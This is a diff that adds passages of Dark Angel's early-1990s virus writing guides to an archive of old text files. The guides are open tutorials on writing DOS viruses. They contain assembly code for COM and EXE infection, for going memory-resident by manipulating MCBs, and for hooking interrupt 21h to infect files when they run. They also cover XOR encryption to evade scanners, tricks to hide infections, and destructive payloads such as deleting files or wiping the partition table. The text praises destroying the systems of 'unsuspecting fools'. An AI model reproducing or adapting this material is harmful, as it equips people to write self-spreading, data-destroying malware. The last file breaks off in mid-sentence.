컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + With the preliminary information out of the way, the discussion can now + shift to more virus-related, certainly more interesting topics. The + structure of the memory resident virus is radically different from that of + the runtime virus. It simply consists of a short stub used to determine if + the virus is already resident. If it is not already in memory, the stuf + loads it into memory through whichever method. Finally, the stub restores + control to the host program. The rest of the code of the resident virus + consists of interrupt handlers where the bulk of the work is done. + + The stub is the only portion of the virus which needs to have delta offset + calculations. The interrupt handler ideally will exist at a location which + will not require such mundane fixups. Once loaded, there should be no + further use of the delta offset, as the location of the variables is + preset. Since the resident virus code should originate at offset 0 of the + memory block, originate the source code at offset 0. Do not include a jmp + to the virus code in the original carrier file. When moving the virus to + memory, simply move starting from [bp+startvirus] and the offsets should + work out as they are in the source file. This simplifies (and shortens) + the coding of the interrupt handlers. + + Several things must be considered in writing the interrupt handlers for a + virus. First, the virus must preserve the registers. If the virus uses + preexecution chaining, it must save the registers after the call to the + original handler. If the virus uses postexecution chaining, it must + restore the original registers of the interrupt call before the call to the + original handler. Second, it is more difficult, though not impossible, to + implement encryption with memory resident virii. The problem is that if + the interrupt handler is encrypted, that interrupt handler cannot be called + before the decryption function. This can be a major pain in the ass. The + cheesy way out is to simply not include encryption. I prefer the cheesy + way. The noncheesy readers out there might wish to have the memory + simultaneously hold two copies of the virus, encrypt the unused copy, and + use the encrypted copy as the write buffer. Of course, the virus would + then take twice the amount of memory it would normally require. The use of + encryption is a matter of personal choice and cheesiness. A sidebar to + preservation of interrupt handlers: As noted earlier, the flags register is + restored from the stack. It is important in preexecution chaining to save + the new flags register onto the stack where the old flags register was + stored. + + Another important factor to consider when writing interrupt handlers, + especially those of BIOS interrupts, is DOS's lack of reentrance. This + means that DOS functions cannot be executed while DOS is in the midst of + processing an interrupt request. This is because DOS sets up the same + stack pointer each time it is called, and calling the second DOS interrupt + will cause the processing of one to overwrite the stack of the other, + causing unpredictable, but often terminal, results. This applies + regardless of which DOS interrupts are called, but it is especially true + for interrupt 21h, since it is often tempting to use it from within an + interrupt handler. Unless it is certain that DOS is not processing a + previous request, do NOT use a DOS function in the interrupt handler. It + is possible to use the "lower" interrupt 21h functions without fear of + corrupting the stack, but they are basically the useless ones, performing + functions easily handled by BIOS calls or direct hardware access. This + entire discussion only applies to hooking non-DOS interrupts. With hooking + DOS interrupts comes the assurance that DOS is not executing elsewhere, + since it would then be corrupting its own stack, which would be a most + unfortunate occurence indeed. + + The most common interrupt to hook is, naturally, interrupt 21h. Interrupt + 21h is called by just about every DOS program. The usual strategy is for a + virus to find potential files to infect by intercepting certain DOS calls. + The primary functions to hook include the find first, find next, open, and + execute commands. By cleverly using pre and postexecution chaining, a + virus can easily find the file which was found, opened, or executed and + infect it. The trick is simply finding the appropriate method to isolate + the filename. Once that is done, the rest is essentially identical to the + runtime virus. + + When calling interrupts hooked by the virus from the virus interrupt code, + make sure that the virus does not trap this particular call, lest an + infinite loop result. For example, if the execute function is trapped and + the virus wishes, for some reason, to execute a particular file using this + function, it should NOT use a simple "int 21h" to do the job. In cases + such as this where the problem is unavoidable, simply simulate the + interrupt call with a pushf/call combination. + + The basic structure of the interrupt handler is quite simple. The handler + first screens the registers for either an identification call or for a + trapped function such as execute. If it is not one of the above, the + handler throws control back to the original interrupt handler. If it is an + identification request, the handler simply sets the appropriate registers + and returns to the calling program. Otherwise, the virus must decide if + the request calls for pre or postexecution chaining. Regardless of which + it uses, the virus must find the filename and use that information to + infect. The filename may be found either through the use of registers as + pointers or by searching thorugh certain data structures, such as FCBs. + The infection routine is the same as that of nonresident virii, with the + exception of the guidelines outlined in the previous few paragraphs. + + 컴컴컴컴컴컴컴 + WHAT'S TO COME + 컴컴컴컴컴컴컴 + I apologise for the somewhat cryptic sentences used in the guide, but I'm a + programmer, not a writer. My only suggestion is to read everything over + until it makes sense. I decided to pack this issue of the guide with + theory rather than code. In the next installment, I will present all the + code necessary to write a memory-resident virus, along with some techniques + which may be used. However, all the information needed to write a resident + virii has been included in this installment; it is merely a matter of + implementation. Have buckets o' fun! + diff --git a/textfiles.com/virus/ps-vir5.txt b/textfiles.com/virus/ps-vir5.txt new file mode 100644 index 00000000..b49acd0d --- /dev/null +++ b/textfiles.com/virus/ps-vir5.txt @@ -0,0 +1,441 @@ + //==// // // /|| // //==== //==// //| // + // // // // //|| // // // // //|| // + //==// //==// //=|| // // // // // || // + // // // // || // // // // // ||// + // // // // || //==== //==== //==// // ||/ + + /==== // // // /==== /| /| + // // // // // //| //| + ===\ // // // ===\ //|| //|| + // // \\ // // // ||// || + ====/ // \\ // ====/ // ||/ || + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + DISCLAIMER: Why do I bother writing one?? + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + MO STUFF: Greets to all the Phalcon/Skism + crew,especially Garbageheap,Hellraiser, + Demogorgon,Lazarus Long,and Decimator. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + Dark Angel's Chewy Virus Writing Guide + 컴컴 컴컴컴� 컴컴� 컴컴� 컴컴컴� 컴컴� + "Over 2 billion served" + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + INSTALLMENT V: RESIDENT VIRUSES, PART II + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + + After reading the the Clumpy Guide, you should have at least some idea of + how to code a resident virus. However, the somewhat vague descriptions I + gave may have left you in a befuddled state. Hopefully, this installment + will clear the air. + + 컴컴컴컴� + STRUCTURE + 컴컴컴컴� + In case you missed it the last time, here is a quick, general overview of + the structure of the resident virus. The virus consists of two major + portions, the loading stub and the interrupt handlers. The loading stub + performs two functions. First, it redirects interrupts to the virus code. + Second, it causes the virus to go resident. The interrupt handlers contain + the code which cause file infection. Generally, the handlers trap + interrupt 21h and intercept such calls as file execution. + + 컴컴컴컴컴컴 + LOADING STUB + 컴컴컴컴컴컴 + The loading stub consists of two major portions, the residency routine and + the restoration routine. The latter portion, which handles the return of + control to the original file, is identical as the one in the nonresident + virus. I will briefly touch upon it here. + + By now you should understand thoroughly the theory behind COM file + infection. By simply replacing the first few bytes, transfer can be + controlled to the virus. The trick in restoring COM files is simply to + restore the overwritten bytes at the beginning of the file. This + restoration takes place only in memory and is therefore far from permanent. + Since COM files always load in a single memory segment and begin loading at + offset 100h in the memory segment (to make room for the PSP), the + restoration procedure is very simple. For example, if the first three + bytes of a COM file were stored in a buffer called "first3" before being + overwritten by the virus, then the following code would restore the code in + memory: + + mov di,100h ; Absolute location of destination + lea si,[bp+first3] ; Load address of saved bytes. + ; Assume bp = "delta offset" + movsw ; Assume CS = DS = ES and a cleared direction flag + movsb ; Move three bytes + + The problem of returning control to the program still remains. This simply + consists of forcing the program to transfer control to offset 100h. The + easiest routine follows: + + mov di,100h + jmp di + + There are numerous variations of this routine, but they all accomplish the + basic task of setting the ip to 100h. + + You should also understand the concept behind EXE infection by now. EXE + infection, at its most basic level, consists of changing certain bytes in + the EXE header. The trick is simply to undo all the changes which the + virus made. The code follows: + + mov ax, es ; ES = segment of PSP + add ax, 10h ; Loading starts after PSP + add word ptr cs:[bp+OrigCSIP+2], ax ; Header segment value was + ; relative to end of PSP + cli + add ax, word ptr cs:[bp+OrigSSSP+2] ; Adjust the stack as well + mov ss, ax + mov sp, word ptr cs:[bp+OrigSSSP] + sti + db 0eah ; JMP FAR PTR SEG:OFF + OrigCSIP dd ? ; Put values from the header + OrigSSSP dd ? ; into here + + If the virus is an EXE-specific infector but you still wish to use a COM + file as the carrier file, then simply set the OrigCSIP value to FFF0:0000. + This will be changed by the restoration routine to PSP:0000 which is, + conveniently, an int 20h instruction. + + All that stuff should not be new. Now we shall tread on new territory. + There are two methods of residency. The first is the weenie method which + simply consists of using DOS interrupts to do the job for you. This method + sucks because it is 1) easily trappable by even the most primitive of + resident virus monitors and 2) forces the program to terminate execution, + thereby alerting the user to the presence of the virus. I will not even + present code for the weenie method because, as the name suggests, it is + only for weenies. Real programmers write their own residency routines. + This basically consists of MCB-manipulation. The general method is: + + 1. Check for prior installation. If already installed, exit the virus. + 2. Find the top of memory. + 3. Allocate the high memory. + 4. Copy the virus to high memory. + 5. Swap the interrupt vectors. + + There are several variations on this technique and they will be discussed + as the need arises. + + 컴컴컴컴컴컴컴컴컴 + INSTALLATION CHECK + 컴컴컴컴컴컴컴컴컴 + There are several different types of installation check. The most common + is a call to int 21h with AX set to a certain value. If certain registers + are returned set to certain values, then the virus is resident. For + example, a sample residency check would be: + + mov ax,9999h ; residency check + int 21h + cmp bx,9999h ; returns bx=9999h if installed + jz already_installed + + When choosing a value for ax in the installation check, make sure it does + not conflict with an existing function unless the function is harmless. + For example, do not use display string (ah=9) unless you wish to have + unpredictable results when the virus is first being installed. An example + of a harmless function is get DOS version (ah=30h) or flush keyboard buffer + (ah=0bh). Of course, if the check conflicts with a current function, make + sure it is narrow enough so no programs will have a problem with it. For + example, do not merely trap ah=30h, but trap ax=3030h or even ax=3030h and + bx=3030h. + + Another method of checking for residency is to search for certain + characteristics of the virus. For example, if the virus always sets an + unused interrupt vector to point to its code, a possible residency check + would be to search the vector for the virus characteristics. For example: + + xor ax,ax + mov ds,ax ; ds->interrupt table + les bx,ds:[60h*4] ; get address of interrupt 60h + ; assume the virus traps this and puts its int 21h handler + ; here + cmp es:bx,0FF2Eh ; search for the virus string + . + . + . + int60: + jmp far ptr cs:origint21 + + When using this method, take care to ensure that there is no possibility of + this characteristic being false when the virus is resident. In this case, + another program must not trap the int 60h vector or else the check may fail + even if the virus is already resident, thereby causing unpredictable + results. + + 컴컴컴컴컴컴컴컴컴컴컴 + FIND THE TOP OF MEMORY + 컴컴컴컴컴컴컴컴컴컴컴 + DOS generally loads all available memory to a program upon loading. Armed + with this knowledge, the virus can easily determine the available memory + size. Once again, the MCB structure is: + + Offset Size Meaning + ------ ------- ------- + 0 BYTE 'M' or 'Z' + 1 WORD Process ID (PSP of block's owner) + 3 WORD Size in paragraphs + 5 3 BYTES Reserved (Unused) + 8 8 BYTES DOS 4+ uses this. Yay. + + mov ax,ds ; Assume DS initially equals the segment of the PSP + dec ax + mov ds,ax ; DS = MCB of infected program + mov bx,ds:[3] ; Get MCB size (total available paragraphs to program) + + A simpler method of performing the same action is to use DOS's reallocate + memory function in the following manner: + + mov ah,4ah ; Alter memory allocation (assume ES = PSP) + mov bx,0FFFFh ; Request a ridiculous amount of memory + int 21h ; Returns maximum available memory in BX + ; This is the same value as in ds:[3] + + 컴컴컴컴컴컴컴컴컴컴컴컴 + ALLOCATE THE HIGH MEMORY + 컴컴컴컴컴컴컴컴컴컴컴컴 + The easiest method to allocate memory is to let DOS do the work for you. + + mov ah,4ah ; Alter memory allocation (assume ES = PSP) + sub bx,(endvirus-startvirus+15)/16+1 ; Assume BX originally held total + ; memory available to the program (returned by earlier + ; call to int 21h/function 4ah + int 21h + + mov ah,48h ; Allocate memory + mov bx,(endvirus-startvirus+15)/16 + int 21h + mov es,ax ; es now holds the high memory segment + + dec bx + mov byte ptr ds:[0], 'Z' ; probably not needed + mov word ptr ds:[1], 8 ; Mark DOS as owner of MCB + + The purpose of marking DOS as the owner of the MCB is to prevent the + deallocation of the memory area upon termination of the carrier program. + + Of course, some may prefer direct manipulation of the MCBs. This is easily + accomplished. If ds is equal to the segment of the carrier program's MCB, + then the following code will do the trick: + + ; Step 1) Shrink the carrier program's memory allocation + ; One paragraph is added for the MCB of the memory area which the virus + ; will inhabit + sub ds:[3],(endvirus-startvirus+15)/16 + 1 + + ; Step 2) Mark the carrier program's MCB as the last in the chain + ; This isn't really necessary, but it assures that the virus will not + ; corrupt the memory chains + mov byte ptr ds:[0],'Z' + + ; Step 3) Alter the program's top of memory field in the PSP + ; This preserves compatibility with COMMAND.COM and any other program + ; which uses the field to determine the top of memory + sub word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1 + + ; Step 4) Calculate the first usable segment + mov bx,ds:[3] ; Get MCB size + stc ; Add one for the MCB segment + adc bx,ax ; Assume AX still equals the MCB of the carrier file + ; BX now holds first usable segment. Build the MCB + ; there + ; Alternatively, you can use the value in ds:[12h] as the first usable + ; segment: + ; mov bx,ds:[12h] + + ; Step 5) Build the MCB + mov ds,bx ; ds holds the area to build the MCB + inc bx ; es now holds the segment of the memory area controlled + mov es,bx ; by the MCB + mov byte ptr ds:[0],'Z' ; Mark the MCB as the last in the chain + ; Note: you can have more than one MCB chain + mov word ptr ds:[1],8 ; Mark DOS as the owner + mov word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field + + There is yet another method involving direct manipulation. + + ; Step 1) Shrink the carrier program's memory allocation + ; Note that rounding is to the nearest 1024 bytes and there is no + ; addition for an MCB + sub ds:[3],((endvirus-startvirus+1023)/1024)*64 + + ; Step 2) Mark the carrier program's MCB as the last in the chain + mov byte ptr ds:[1],'Z' + + ; Step 3) Alter the program's top of memory field in the PSP + sub word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64 + + ; Step 4) Calculate the first usable segment + mov es,word ptr ds:[12h] + + ; Step 5) Shrink the total memory as held in BIOS + ; Memory location 0:413h holds the total system memory in K + xor ax,ax + mov ds,ax + sub ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size + + This method is great because it is simple and short. No MCB needs to be + created because DOS will no longer allocate memory held by the virus. The + modification of the field in the BIOS memory area guarantees this. + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + COPY THE VIRUS TO HIGH MEMORY + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + This is ridiculously easy to do. If ES holds the high memory segment, DS + holds CS, and BP holds the delta offset, then the following code will do: + + lea si,[bp+offset startvirus] + xor di,di ; destination @ 0 + mov cx,(endvirus-startvirus)/2 + rep movsw ; Copy away, use words for speed + + 컴컴컴컴컴컴컴컴컴컴컴 + SWAP INTERRUPT VECTORS + 컴컴컴컴컴컴컴컴컴컴컴 + There are, once again, two ways to do this; via DOS or directly. Almost + every programmer worth his salt has played with interrupt vectors at one + time or another. Via DOS: + + push es ; es->high memory + pop ds ; ds->high memory + mov ax,3521h ; get old int 21h handler + int 21h ; to es:bx + mov word ptr ds:oldint21,bx ; save it + mov word ptr ds:oldint21+2,es + mov dx,offset int21 ; ds:dx->new int 21h handler in virus + mov ax,2521h ; set handler + int 21h + + And direct manipulation: + xor ax,ax + mov ds,ax + lds bx,ds:[21h*4] + mov word ptr es:oldint21,bx + mov word ptr es:oldint21+2,ds + mov ds,ax + mov ds:[21h*4],offset int21 + mov ds:[21h*4+2],es + + Delta offset calculations are not needed since the location of the + variables is known. This is because the virus is always loaded into high + memory starting in offset 0. + + 컴컴컴컴컴컴컴컴� + INTERRUPT HANDLER + 컴컴컴컴컴컴컴컴� + The interrupt handler intercepts function calls to DOS and waylays them. + The interrupt handler typically begins with a check for a call to the + installation check. For example: + + int21: + cmp ax,9999h ; installation check? + jnz not_installation_check + xchg ax,bx ; return bx = 9999h if installed + iret ; exit interrupt handler + not_installation_check: + ; rest of interrupt handler goes here + + With this out of the way, the virus can trap whichever DOS functions it + wishes. Generally the most effective function to trap is execute + (ax=4b00h), as the most commonly executed files will be infected. Another + function to trap, albeit requiring more work, is handle close. This will + infect on copies, viewings, patchings, etc. With some functions, + prechaining is desired; others, postchaining. Use common sense. If the + function destroys the filename pointer, then use prechaining. If the + function needs to be completed before infection can take place, + postchaining should be used. Prechaining is simple: + + pushf ; simulate an int 21h call + call dword ptr cs:oldint21 + + ; The following code ensures that the flags will be properly set upon + ; return to the caller + pushf + push bp + push ax + + ; flags [bp+10] + ; calling CS:IP [bp+6] + ; flags new [bp+4] + ; bp [bp+2] + ; ax [bp] + + mov bp, sp ; setup stack frame + mov ax, [bp+4] ; get new flags + mov [bp+10], ax; replace the old with the new + + pop ax ; restore stack + pop bp + popf + + To exit the interrupt handler after prechaining, use an iret statement + rather than a retn or retf. Postchaining is even simpler: + + jmp dword ptr cs:oldint21 ; this never returns to the virus int handler + + When leaving the interrupt handler, make sure that the stack is not + unbalanced and that the registers were not altered. Save the registers + right after prechaining and long before postchaining. + + Infection in a resident virus is essentially the same as that in a + nonresident virus. The only difference occurs when the interrupt handler + traps one of the functions used in the infection routine. For example, if + handle close is trapped, then the infection routine must replace the handle + close int 21h call with a call to the original interrupt 21h handler, a la: + + pushf + call dword ptr cs:oldint21 + + It is also necessary to handle encryption in another manner with a resident + virus. In the nonresident virus, it was not necessary to preserve the code + at all times. However, it is desirable to keep the interrupt handler(s) + decrypted, even when infecting. Therefore, the virus should keep two + copies of itself in memory, one as code and one as data. The encryptor + should encrypt the secondary copy of the virus, thereby leaving the + interrupt handler(s) alone. This is especially important if the virus + traps other interrupts such as int 9h or int 13h. + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + A THEORY ON RESIDENT VIRUSES + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + Resident viruses can typically be divided into two categories; slow and + fast infectors. They each have their own advantages and disadvantages. + + Slow infectors do not infect except in the case of a file creation. This + infector traps file creates and infects upon the closing of the file. This + type of virus infects on new file creations and copying of files. The + disadvantage is that the virus spreads slowly. This disadvantage is also + an advantage, as this may keep it undetected for a long time. Although + slow infectors sound ineffective, in reality they can work well. Infection + on file creations means that checksum/CRC virus detectors won't be able to + checksum/CRC the file until after it has been infected. Additionally, + files are often copied from one directory to another after testing. So + this method can work. + + Fast infectors infect on executes. This type of virus will immediately + attack commonly used files, ensuring the continual residency of the virus + in subsequent boots. This is the primary advantage, but it is also the + primary disadvantage. The infector works so rapidly that the user may + quickly detect a discrepancy with the system, especially if the virus does + not utilise any stealth techniques. + + Of course, there is no "better" way. It is a matter of personal + preference. The vast majority of viruses today are fast infectors, + although slow infectors are beginning to appear with greater frequency. + + If the virus is to infect on a create or open, it first must copy the + filename to a buffer, execute the call, and save the handle. The virus + must then wait for a handle close corresponding to that handle and infect + using the filename stored in the buffer. This is the simplest method of + infecting after a handle close without delving into DOS internals. + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + IF YOU DON'T UNDERSTAND IT YET + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + don't despair; it will come after some time and much practise. You will + soon find that resident viruses are easier to code than nonresident + viruses. That's all for this installment, but be sure to grab the next + one. diff --git a/textfiles.com/virus/ps_vir1.vir b/textfiles.com/virus/ps_vir1.vir new file mode 100644 index 00000000..f6b715af --- /dev/null +++ b/textfiles.com/virus/ps_vir1.vir @@ -0,0 +1,447 @@ + //==// // // /|| // //==== //==// //| // + // // // // //|| // // // // //|| // + //==// //==// //=|| // // // // // || // + // // // // || // // // // // ||// +// // // // || //==== //==== //==// // ||/ + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +DISCLAIMER: The author hereby disclaims himself +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +DEDICATION: This was written to make the lives + of scum such as Patty Hoffman, John McAffee, + and Ross Greenberg a living hell. +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +OTHER STUFF: Thanks go to The Shade of Sorrow, + Demogorgon, and Orion Rouge on their comments + (which I occasionally listened to!). Thanks + also to Hellraiser, who gave me an example of + some virus source code (his own, of course). +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Dark Angel's Phunky Virus Writing Guide +---- ------- ------ ----- ------- ----- +Virii are wondrous creations written for the sole purpose of spreading and +destroying the systems of unsuspecting fools. This eliminates the systems +of simpletons who can't tell that there is a problem when a 100 byte file +suddenly blossoms into a 1,000 byte file. Duh. These low-lifes do not +deserve to exist, so it is our sacred duty to wipe their hard drives off +the face of the Earth. It is a simple matter of speeding along survival of +the fittest. + +Why did I create this guide? After writing several virii, I have noticed +that virus writers generally learn how to write virii either on their own +or by examining the disassembled code of other virii. There is an +incredible lack of information on the subject. Even books published by +morons such as Burger are, at best, sketchy on how to create a virus. This +guide will show you what it takes to write a virus and also will give you a +plethora of source code to include in your own virii. + +Virus writing is not as hard as you might first imagine. To write an +effective virus, however, you *must* know assembly language. Short, +compact code are hallmarks of assembly language and these are desirable +characteristics of virii. However, it is *not* necessary to write in pure +assembly. C may also be used, as it allows almost total control of the +system while generating relatively compact code (if you stay away from the +library functions). However, you still must access the interrupts, so +assembly knowledge is still required. However, it is still best to stick +with pure assembly, since most operations are more easily coded in +assembly. If you do not know assembly, I would recommend picking up a copy +of The Microsoft Macro Assembler Bible (Nabajyoti Barkakati, ISBN #: 0-672- +22659-6). It is an easy-to-follow book covering assembly in great detail. +Also get yourself a copy of Undocumented DOS (Schulman, et al, ISBN #0-201- +57064-5), as it is very helpful. + +The question of which compiler to use arises often. I suggest using +Borland Turbo Assembler and/or Borland C++. I do not have a copy of +Zortech C (it was too large to download), but I would suspect that it is +also a good choice. Stay away from Microsoft compilers, as they are not as +flexible nor as efficient as those of other vendors. + +A few more items round out the list of tools helpful in constructing virii. +The latest version of Norton Utilities is one of the most powerful programs +available, and is immeasurably helpful. MAKE SURE YOU HAVE A COPY! You +can find it on any decent board. It can be used during every step of the +process, from the writing to the testing. A good debugger helps. Memory +management utilities such as MAPMEM, PMAP, and MARK/RELEASE, are +invaluable, especially when coding TSR virii. Sourcer, the commenting +disassembler, is useful when you wish to examine the code of other virii +(this is a good place to get ideas/techniques for your virus). + +Now that you have your tools, you are ready to create a work of art +designed to smash the systems of cretins. There are three types of virii: + + 1) Tiny virii (under 500 bytes) which are designed to be undetectable + due to their small size. TINY is one such virus. They are + generally very simple because their code length is so limited. + 2) Large virii (over 1,500 bytes) which are designed to be + undetectable because they cover their tracks very well (all that + code DOES have a use!). The best example of this is the Whale + virus, which is perhaps the best 'Stealth' virus in existence. + 3) Other virii which are not designed to be hidden at all (the writers + don't give a shit). The common virus is like this. All + overwriting virii are in this category. + +You must decide which kind of virus you wish to write. I will mostly be +discussing the second type (Stealth virii). However, many of the +techniques discribed may be easily applied to the first type (tiny virii). +However, tiny virii generally do not have many of the "features" of larger +virii, such as directory traversal. The third type is more of a +replicating trojan-type, and will warrant a brief (very, very brief!) +discussion later. + +A virus may be divided into three parts: the replicator, the concealer, and +the bomb. The replicator part controls the spread of the virus to other +files, the concealer keeps the virus from being detected, and the bomb only +executes when the activation conditions of the virus (more on that later) +are satisfied. + +-=-=-=-=-=-=-=- +THE REPLICATOR +-=-=-=-=-=-=-=- +The job of the replicator is to spread the virus throughout the system of +the clod who has caught the virus. How does it do this without destroying +the file it infects? The easiest type of replicator infects COM files. It +first saves the first few bytes of the infected file. It then copies a +small portion of its code to the beginning of the file, and the rest to the +end. + + +----------------+ +------------+ + | P1 | P2 | | V1 | V2 | + +----------------+ +------------+ + The uninfected file The virus code + +In the diagram, P1 is part 1 of the file, P2 is part 2 of the file, and V1 +and V2 are parts 1 and 2 of the virus. Note that the size of P1 should be +the same as the size of V1, but the size of P2 doesn't necessarily have to +be the same size as V2. The virus first saves P1 and copies it to the +either 1) the end of the file or 2) inside the code of the virus. Let's +assume it copies the code to the end of the file. The file now looks like: + + +---------------------+ + | P1 | P2 | P1 | + +---------------------+ + +Then, the virus copies the first part of itself to the beginning of the +file. + + +---------------------+ + | V1 | P2 | P1 | + +---------------------+ + +Finally, the virus copies the second part of itself to the end of the file. +The final, infected file looks like this: + + +-----------------------------+ + | V1 | P2 | P1 | V2 | + +-----------------------------+ + +The question is: What the fuck do V1 and V2 do? V1 transfers control of +the program to V2. The code to do this is simple. + + JMP FAR PTR Duh ; Takes four bytes +Duh DW V2_Start ; Takes two bytes + +Duh is a far pointer (Segment:Offset) pointing to the first instruction of +V2. Note that the value of Duh must be changed to reflect the length of +the file that is infected. For example, if the original size of the +program is 79 bytes, Duh must be changed so that the instruction at +CS:[155h] is executed. The value of Duh is obtained by adding the length +of V1, the original size of the infected file, and 256 (to account for the +PSP). In this case, V1 = 6 and P1 + P2 = 79, so 6 + 79 + 256 = 341 decimal +(155 hex). + +An alternate, albeit more difficult to understand, method follows: + + DB 1101001b ; Code for JMP (2 byte-displacement) +Duh DW V2_Start - OFFSET Duh ; 2 byte displacement + +This inserts the jump offset directly into the code following the jump +instruction. You could also replace the second line with + + DW V2_Start - $ + +which accomplishes the same task. + +V2 contains the rest of the code, i.e. the stuff that does everything else. +The last part of V2 copies P1 over V1 (in memory, not on disk) and then +transfers control to the beginning of the file (in memory). The original +program will then run happily as if nothing happened. The code to do this +is also very simple. + + MOV SI, V2_START ; V2_START is a LABEL marking where V2 starts + SUB SI, V1_LENGTH ; Go back to where P1 is stored + MOV DI, 0100h ; All COM files are loaded @ CS:[100h] in memory + MOV CX, V1_LENGTH ; Move CX bytes + REP MOVSB ; DS:[SI] -> ES:[DI] + + MOV DI, 0100h + JMP DI + +This code assumes that P1 is located just before V2, as in: + +P1_Stored_Here: + . + . + . +V2_Start: + +It also assumes ES equals CS. If these assumptions are false, change the +code accordingly. Here is an example: + + PUSH CS ; Store CS + POP ES ; and move it to ES + ; Note MOV ES, CS is not a valid instruction + MOV SI, P1_START ; Move from whereever P1 is stored + MOV DI, 0100h ; to CS:[100h] + MOV CX, V1_LENGTH + REP MOVSB + + MOV DI, 0100h + JMP DI + +This code first moves CS into ES and then sets the source pointer of MOVSB +to where P1 is located. Remember that this is all taking place in memory, +so you need the OFFSET of P1, not just the physical location in the file. +The offset of P1 is 100h higher than the physical file location, as COM +files are loaded starting from CS:[100h]. + +So here's a summary of the parts of the virus and location labels: + +V1_Start: + JMP FAR PTR Duh +Duh DW V2_Start +V1_End: + +P2_Start: +P2_End: + +P1_Start: + ; First part of the program stored here for future use +P1_End: + +V2_Start: + ; Real Stuff +V2_End: + +V1_Length EQU V1_End - V1_Start + +Alternatively, you could store P1 in V2 as follows: + +V2_Start: + +P1_Start: +P1_End: + +V2_End: + +That's all there is to infecting a COM file without destroying it! Simple, +no? EXE files, however, are a little tougher to infect without rendering +them inexecutable - I will cover this topic in a later file. + +Now let us turn our attention back to the replicator portion of the virus. +The steps are outlined below: + + 1) Find a file to infect + 2) Check if it is already infected + 3) If so, go back to 1 + 4) Infect it + 5) If infected enough, quit + 6) Otherwise, go back to 1 + +Finding a file to infect is a simple matter of writing a directory +traversal procedure and issuing FINDFIRST and FINDNEXT calls to find +possible files to infect. Once you find the file, open it and read the +first few bytes. If they are the same as the first few bytes of V1, then +the file is already infected. If the first bytes of V1 are not unique to +your virus, change it so that they are. It is *extremely* important that +your virus doesn't reinfect the same files, since that was how Jerusalem +was first detected. If the file wasn't already infected, then infect it! +Infection should take the following steps: + + 1) Change the file attributes to nothing. + 2) Save the file date/time stamps. + 3) Close the file. + 4) Open it again in read/write mode. + 5) Save P1 and append it to the end of the file. + 6) Copy V1 to the beginning, but change the offset which it JMPs to so + it transfers control correctly. See the previous part on infection. + 7) Append V2 to the end of the file. + 8) Restore file attributes/date/time. + +You should keep a counter of the number of files infected during this run. +If the number exceeds, say three, then stop. It is better to infect slowly +then to give yourself away by infecting the entire drive at once. + +You must be sure to cover your tracks when you infect a file. Save the +file's original date/time/attributes and restore them when you are +finished. THIS IS VERY IMPORTANT! It takes about 50 to 75 bytes of code, +probably less, to do these few simple things which can do wonders for the +concealment of your program. + +I will include code for the directory traversal function, as well as other +parts of the replicator in the next installment of my phunky guide. + +-=-=-=-=- +CONCEALER +-=-=-=-=- +This is the part which conceals the program from notice by the everyday +user and virus scanner. The simplest form of concealment is the encryptor. +The code for a simple XOR encryption system follows: + +encrypt_val db ? + +decrypt: +encrypt: + mov ah, encrypt_val + + mov cx, part_to_encrypt_end - part_to_encrypt_start + mov si, part_to_encrypt_start + mov di, si + +xor_loop: + lodsb ; DS:[SI] -> AL + xor al, ah + stosb ; AL -> ES:[DI] + loop xor_loop + ret + +Note the encryption and decryption procedures are the same. This is due to +the weird nature of XOR. You can CALL these procedures from anywhere in +the program, but make sure you do not call it from a place within the area +to be encrypted, as the program will crash. When writing the virus, set +the encryption value to 0. part_to_encrypt_start and part_to_encrypt_end +sandwich the area you wish to encrypt. Use a CALL decrypt in the beginning +of V2 to unencrypt the file so your program can run. When infecting a +file, first change the encrypt_val, then CALL encrypt, then write V2 to the +end of the file, and CALL decrypt. MAKE SURE THIS PART DOES NOT LIE IN THE +AREA TO BE ENCRYPTED!!! + +This is how V2 would look with the concealer: + +V2_Start: + +Concealer_Start: + . + . + . +Concealer_End: + +Replicator_Start: + . + . + . +Replicator_End: + +Part_To_Encrypt_Start: + . + . + . +Part_To_Encrypt_End: +V2_End: + +Alternatively, you could move parts of the unencrypted stuff between +Part_To_Encrypt_End and V2_End. + +The value of encryption is readily apparent. Encryption makes it harder +for virus scanners to locate your virus. It also hides some text strings +located in your program. It is the easiest and shortest way to hide your +virus. + +Encryption is only one form of concealment. At least one other virus hooks +into the DOS interrupts and alters the output of DIR so the file sizes +appear normal. Another concealment scheme (for TSR virii) alters DOS so +memory utilities do not detect the virus. Loading the virus in certain +parts of memory allow it to survive warm reboots. There are many stealth +techniques, limited only by the virus writer's imagination. + +-=-=-=-=- +THE BOMB +-=-=-=-=- +So now all the boring stuff is over. The nastiness is contained here. The +bomb part of the virus does all the deletion/slowdown/etc which make virii +so annoying. Set some activation conditions of the virus. This can be +anything, ranging from when it's your birthday to when the virus has +infected 100 files. When these conditions are met, then your virus does +the good stuff. Some suggestions of possible bombs: + + 1) System slowdown - easily handled by trapping an interrupt and + causing a delay when it activates. + 2) File deletion - Delete all ZIP files on the drive. + 3) Message display - Display a nice message saying something to the + effect of "You are fucked." + 4) Killing/Replacing the Partition Table/Boot Sector/FAT of the hard + drive - This is very nasty, as most dimwits cannot fix this. + +This is, of course, the fun part of writing a virus, so be 